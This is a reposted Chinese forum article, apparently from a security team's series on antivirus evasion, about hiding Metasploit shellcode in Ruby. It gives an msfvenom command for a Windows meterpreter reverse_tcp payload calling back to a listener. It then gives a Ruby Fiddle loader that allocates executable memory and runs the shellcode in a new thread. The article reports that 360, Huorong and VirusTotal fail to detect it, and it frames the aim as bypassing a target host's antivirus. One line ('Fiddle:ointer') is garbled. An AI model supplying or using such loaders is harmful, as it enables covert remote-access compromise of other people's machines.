|
转载自 [url=]Tide安全团队 微信公众号[/url]免杀能力一览表
几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。 一、Ruby加载shellcode介绍Ruby做免杀的不是很多,目前好像只遇到专题5中介绍的veil使用了ruby编译exe来进行免杀,目前也没发现基于ruby的shellcode加载器,只找到了一种ruby嵌入shellcode的代码。 二、Ruby嵌入shellcode(VT查杀率0/58)
先用Msfvenom生成基于ruby的shellcode
- [align=left]msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f ruby[/align]
复制代码ruby源码:
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
shellcode = ""
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
buf = Fiddle:ointer[shellcode]
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)
thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)
将msfvenom生成的shellcode稍微转换后,写入代码中。 使用命令ruby shell.rb执行,360和火绒没有异常行为报警。 msf中设置payloadwindows/x64/meterpreter/reverse_tcp进行监听 virustotal.com中shell.rb文件的查杀率为0/58 三、参考资料
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|